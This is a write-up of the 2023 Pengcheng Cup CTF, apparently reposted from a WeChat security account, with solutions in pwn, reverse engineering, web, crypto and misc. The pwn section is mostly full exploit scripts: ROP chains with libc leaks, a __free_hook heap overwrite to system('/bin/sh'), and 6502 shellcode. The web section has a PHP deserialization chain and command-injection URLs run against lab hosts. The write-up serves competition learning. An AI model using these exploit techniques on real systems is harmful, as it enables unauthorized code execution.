PWN
1.
6502
越界读写,把 puts 改 system
然后最好输入一下 /bin/sh 就可以了:
from pwn import *
context.log_level="debug"
p=remote("172.10.0.7",10002)
payload=b""
payload+=b"xadx42xdf"
payload+=b"x69xb0"
payload+=b"x8dxf2xde"
payload+=b"xadx43xdf"
payload+=b"x69xed"
payload+=b"x8dxf3xde"
payload+=b"xadx44xdf"
payload+=b"x69x01"
payload+=b"x8dxf4xde"
payload+=b"xadx45xdf"
payload+=b"x8dxf5xde"
payload+=b"xadx46xdf"
payload+=b"x8dxf6xde"
payload+=b"xadx47xdf"
payload+=b"x8dxf7xde"
payload+=b"xadx44xdf"
payload+=b"x69x01"
payload+=b"x8dxf4xde"
payload+=b"xfc"
p.recvuntil("length:")
p.sendline(str(len(payload)))
p.recvuntil("code:")
p.send(payload)
p.interactive()
2.
silent
from pwn import *
from ctypes import *
from struct import pack
banary = "./silent"
elf = ELF(banary)
libc = ELF("/home/youlin/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
ip = '172.10.0.8'
port = 9999
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"xff")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
magic = 0x00000000004007e8
pop_rdi=0x0000000000400963
pop_rsi_r15=0x0000000000400961
read_plt=elf.plt['read']
read_got=elf.got['read']
bss=0x000000000601040
read_ptr=0x0000000004008DC
leave_ret=0x0000000000400876
stdout=0x000000000601020
csu_1=0x000000000400956
csu_2=0x000000000400940
pop_rbx_rbp_r12_r13_r14_r15=0x000000000040095A
pop_rbp=0x0000000000400788
payload=b'A'*0x40+b'A'*8+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0xffffffffffc94210)
+p64(stdout+0x3d)+p64(0)*4+p64(magic)+p64(pop_rsi_r15)+p64(0x601b10)+p64(0)+p64(r
ead_plt)+p64(pop_rbp)+p64(0x601b10-8)+p64(leave_ret)
s(payload)
payload1=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(0x601020)+p64(elf.got
['alarm'])+p64(0)*2+p64(csu_2)+p64(pop_rsi_r15)+p64(0x601310)+p64(0)+p64(1)+p64(2
)+p64(3)+p64(4)+p64(pop_rbp)+p64(0x601a00+0x40)+p64(read_ptr)+b'./flagx00x00'
s(payload1)
libcbase=uu64()-libc.sym['alarm']
lg("libcbase")
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rsi=0x0000000000023a6a+libcbase
pop_rdx=0x0000000000001b96+libcbase
orw=b'A'*0x40+b'A'*8+p64(pop_rdi)+p64(0x601b10 + len(payload1) -
8)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss(0x800))+p64(pop_rdx)+p64(0x100)
+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(elf.bss(0x800))+p64(pop_rdx)+p64(0x100)
+p64(write)
io.send(orw)
ia()
3.
Auto_Coffee_machine
from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
libc=ELF("/home/youlin/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6")
ip = '172.10.0.9'
port = 8888
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"xff")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
def cmd(choice):
ru(">>>")
sl(str(choice))
def sell(id,flag=0,content='youlin'):
cmd(1)
sla('want to buyn', str(id))
if flag:
sla('add something?Y/Nn', b'Y')
sa('need in coffeen', content)
else:
sla('add something?Y/Nn', b'N')
def buy(id, flag=0, content='youlin'):
cmd(1)
sla('want to buyn', str(id))
if flag:
sla('add something?Y/Nn', b'Y')
sa('need in coffeen', content)
else:
sla('add something?Y/Nn', b'N')
def admin():
cmd(4421)
sa('admin passwordn', b'just pwn it')
def back():
cmd(3)
def replenish(id):
admin()
cmd(1)
cmd(id)
back()
def change(id, coffee, content):
admin()
cmd(2)
cmd(id)
cmd(coffee)
sa('your contentn', content)
back()
buy(1)
buy(1)
change(1, 2, p64(0x4062F0))
for i in range(7):
buy(2)
for i in range(7):
replenish(2)
change(2, 7, p64(0x406068))
cmd(1)
libc_base = uu64() - libc.sym['atol']
lg('libc_base')
sla('want to buyn', b'2')
sla('add something?Y/Nn', b'N')
buy(2)
change(2, 2, p64(libc_base + libc.sym['__free_hook'] - 8))
for i in range(7):
sell(3)
for i in range(7):
replenish(3)
change(3, 7, p64(0) + p64(libc_base + libc.sym['system']))
buy(3, 1, b'/bin/sh')
ia()
RE
1.
BabyRe
遍历爆破
using namespace std;
unsigned int burp(unsigned int input)
{
unsigned int v1,v2,v3,v4;
v1 = input & 0xff;
v2 = (input >> 8) & 0xff;
v3= (input >> 16) & 0xff;
v4 = (input >> 24) & 0xff;
unsigned int v1s, v2s, v3s, v4s;
int test = 0;
for (int i = 0; i < 256; i++)
{
if (((i * 23 + 0x42)&0xff) == v1)
{
v1s = i;
if (test)
{
printf("%d %d", v1s, i);
}
test = 1;
}
}
test = 0;
for (int i = 0; i < 256; i++)
{
if (((i * 23 + 0x42) & 0xff) == v2)
{
v2s = i;
if (test)
{
printf("%d %d", v2s, i);
}
test = 1;
}
}
test = 0;
for (int i = 0; i < 256; i++)
{
if (((i * 23 + 0x42) & 0xff) == v3)
{
v3s = i;
if (test)
{
printf("%d %d", v3s, i);
}
test = 1;
}
}
test = 0;
for (int i = 0; i < 256; i++)
{
if (((i * 23 + 0x42) & 0xff) == v4)
{
v4s = i;
//break;
if (test)
{
printf("%d %d", v4s, i);
}
test = 1;
}
}
unsigned int res = v1s + (v2s << 8) + (v3s << 16) + (v4s << 24);
return res;
}
int main()
{
srand(0xDEADC0DE);
int rand_list[192] = {0x4DF2 ,0x0007125 ,0x003739 ,0x0000000000000DE6
,0x0000000000002755 ,0x0000000000007A13 };
for (int i = 0; i < 192; i++)
{
rand_list[i] = rand();
}
unsigned char enc_text[] =
{
0x48, 0x4D, 0x3B, 0xA0, 0x27, 0x31, 0x28, 0x54, 0x6D, 0xF1,
0x21, 0x35, 0x18, 0x73, 0x6A, 0x4C, 0x71, 0x3B, 0xBD, 0x98,
0xB6, 0x5A, 0x77, 0x2D, 0x0B, 0x2B, 0xCB, 0x9B, 0xE4, 0x8A,
0x4C, 0xA9, 0x5C, 0x4F, 0x1B, 0xF1, 0x98, 0x3D, 0x30, 0x59,
0x3F, 0x14, 0xFC, 0x7A, 0xF4, 0x64, 0x02, 0x2B
};
unsigned char Buf1[] =
{
0x3D, 0x19, 0x1C, 0xA2, 0xAD, 0x10, 0xA5, 0x26, 0x9E, 0x2A,
0xE2, 0xD0, 0x3D, 0x19, 0x1C, 0xA2, 0xAD, 0x10, 0xA5, 0x26,
0x9E, 0x2A, 0xE2, 0xD0, 0x3D, 0x19, 0x1C, 0xA2, 0xAD, 0x10,
0xA5, 0x26, 0x9E, 0x2A, 0xE2, 0xD0, 0x3D, 0x19, 0x1C, 0xA2,
0xAD, 0x10, 0xA5, 0x26, 0x9E, 0x2A, 0xE2, 0xD0
};
unsigned int* temp = (unsigned int*)enc_text;
unsigned int enc[12];
for (int i = 0; i < 12; i++)
{
enc[i] = *(temp + i);
}
for (int i = 0; i < 12; i += 3)
{
unsigned int v6=enc[i];
unsigned int v7=enc[i+1];
unsigned int v8=enc[i+2];
unsigned int v24;
unsigned int v25;
for (int j = 0; j < 32; j++)
{
v24 = (v6 >> 7) + rand_list[191-1-6*j];
v25 = (v6 >> 15) ^ (v6 << 10) | 3;
v8 -= (v24 + (rand_list[191 - 6 * j] ^ v25));
v24 = (v8 >> 7) + rand_list[191 - 3 - 6 * j];
v25 = (v8 >> 15) ^ (v8 << 10) | 3;
v7 -= (v24 + (rand_list[191 -2- 6 * j] ^ v25));
v24 = (v7 >> 7) + rand_list[191 - 5 - 6 * j];
v25 = (v7 >> 15) ^ (v7 << 10) | 3;
v6 -= (v24 + (rand_list[191 - 4 - 6 * j] ^ v25));
v6 = burp(v6);
v7 = burp(v7);
v8 = burp(v8);
}//EBD30420 98DE 08 F2h/0x98de a8 f2 0x00000000EA34FA00
enc[i] = v6;
enc[i+1] = v7;
enc[i+2] = v8;
}
char* temp2 = (char*)enc;
char flag[48];
for (int i = 0; i < 48;i++)
{
flag[i] = temp2[i];
}//flag{1CpOVOIeB1d2FcYUvnN1k5PbfMzMNzUzUgV6mB7hXF}
}
2.
安全编程
rust 写的图片编码,其实没有看的太懂,但把 encflag 丢到 010 里和一个正常的 png 对比就能发现,每一个字节都差了 0x80,所以写个脚本还原一下就拿到了:
payload=b""
p=open("./encflag.png","rb").read()
for i in p:
res=(i+0x80)&0xff
payload+=res.to_bytes(1,"little")
p=open("./test.png","wb").write(payload)
3.
bad_pe
没办法直接跑,不知道是不是题目的问题
但 IDA 打开之后会看到一段对某个内存运算的操作
看起来像 smc:
用 ida 跳过去写会发现
这段数据和 010 里看到的不太一样:
用 010 直接对这段代码异或 0x23 之后会发现得到了一个新的 pe 文件,打开丢 IDA:
直接动调抓一下密文和密钥丢 rc4:
WEB
1.
web1
挑选两个关键类构造pop链
生成内容直接进行反序列化即可
<?php
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class Hacker{
private $exp;
private $cmd;
public function __toString()
{
echo "test";
call_user_func('system', "dir");
}
public function __wakeup()
{
echo "ssss";
}
}
$array=new H();
$array->username=new Hacker();
$content=serialize($array);
echo ($content);
?>
payload: O:1:"H":1:{s:8:"username";O:6:"Hacker":2:
{s:11:"Hackerexp";N;s:11:"Hackercmd";N;}}
2.
web2
用glob伪协议写个脚本,爆破得到如下结果:
http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php
import re
import itertools
import requests
# 生成所有可能的 16 个十六进制字符的组合
hex_chars = '0123456789abcdef'
url = "http://172.10.0.5/"
str = "glob://./backdoor_"
while 1:
for i in hex_chars:
data = {"filename": str+i+"*"}
res = requests.post(url,data=data).text
print(data)
if "yesyesyes" in res:
print(res)
str += i
else:
continue
简单代码审计后,考虑文件名RCE,payload如下:
1.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=zz&data=nl /*
2.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=sh&data=1
3.http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?
username=1xx&title=|*&data=1
Crypto
1.
LeakyRSA
题目给出了 p^q 的高262位
关联爆破恢复 p 的高262位
N=7382241014811075976016494640527022826925538423783127574526940259023049556927976
979922681394289994242371822974747898263087955731906392051514121716498001206306498
663463245228929032670464052769956866249210520416560961416934975536595656936213905
7327962393611139347462018186440108621311077722819578905265976612923
gift=2223117424030234543005449667053988296724455736030907136592525175314696509716
321
gift = gift<<250
PR.<x> = PolynomialRing(Zmod(N))
ok = False
def pq_xor(tp,tq,idx):
global ok
if ok:
return
if tp*tq>N:
return
if (tp+(2<<idx))*(tq+(2<<idx))<N:
return
if idx<=250:
print(tp)
try:
f = tp + x
rr = f.monic().small_roots(X=2^250, beta=0.4,epsilon=0.01)
if rr != []:
print(rr)
print(tp)
print('p = ',f(rr[0]))
ok = True
return
except:
pass
return
idx -=1
b = (gift >>idx)&1
one = 1<<idx
if b==0:
pq_xor(tp,tq,idx)
pq_xor(tp+one,tq+one,idx)
else: #1
pq_xor(tp+one,tq,idx)
pq_xor(tp,tq+one,idx)
#N.nbits()=2048 gift.nbits()=1023 p,q的1024位为1
tp = 1<<511
tq = 1<<511
pq_xor(tp,tq,511)
这里 print(tp) 输出12个数据
前6个数的高位就是对应 p 的高位
后6个的高位就是对应 q 的高位
之后爆破4位即可 copper 恢复 p
n =
738224101481107597601649464052702282692553842378312757452694025902304955692797697
992268139428999424237182297474789826308795573190639205151412171649800120630649866
346324522892903267046405276995686624921052041656096141693497553659565693621390573
27962393611139347462018186440108621311077722819578905265976612923
p_ =
108332175805030006983856942680321965444006003077062281804812862395456144481107711
36511265552720079952935650128918955327972046701926479390396663939251306496
p_high = p_ >> 252
pbits = 512
for i in range(2**4):
p4 = p_high<<4
p4 = p4 + i
print(p4)
kbits = pbits - p4.nbits()
p4 = p4 << kbits
R.<x> = PolynomialRing(Zmod(n))
f = x + p4
x1 = f.small_roots(X=2^kbits, beta=0.4, epsilon=0.01)
if x1:
p = p4 + int(x1[0])
if p.nbits() == 512:
print(p)
break
最后常规 RSA
import gmpy2
from Crypto.Util.number import *
n=7382241014811075976016494640527022826925538423783127574526940259023049556927976
979922681394289994242371822974747898263087955731906392051514121716498001206306498
663463245228929032670464052769956866249210520416560961416934975536595656936213905
7327962393611139347462018186440108621311077722819578905265976612923
p =
108332175805030006983856942680321965444006003077062281804812862395456144481107708
43300361411809086269809006469621399256214887200838529724133384063799751203
print(isPrime(p))
q = n//p
c=7180832280859921833123329154277948653474791357247563019880298464898283033262844
397265232259063738269602794379900433148809859252530652334364993521641952232972215
274261056039821673703089309064149332647778672083984993827740274382077395718408343
0369443325368720115515840174745825798187125454448297155036065857691
d = gmpy2.invert(65537,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(m))
MISC
1.
我的壁纸
分离出压缩包
foremost bg.jpg
1.解密flag.txt
.SNOW.EXE -C -p 'snowday' flag.txt
f86361842eb8}
2.解密flag.wav
sstv -d flag.wav -o flag.png
获得一个二维码,扫码获得第二部分flag
eaa2-4d62-ace6-
3.解密youshouldknowme.jpeg
文件属性:passwd_is_7hR@1nB0w$&8;
steghide extract -sf youshouldknowme.jpeg -p 7hR@1nB0w$flag{b921323f-
拼接获得完整flag:
flag{b921323f-eaa2-4d62-ace6-f86361842eb8}
原文始发于微信公众号(星盟安全):2023 鹏城杯WP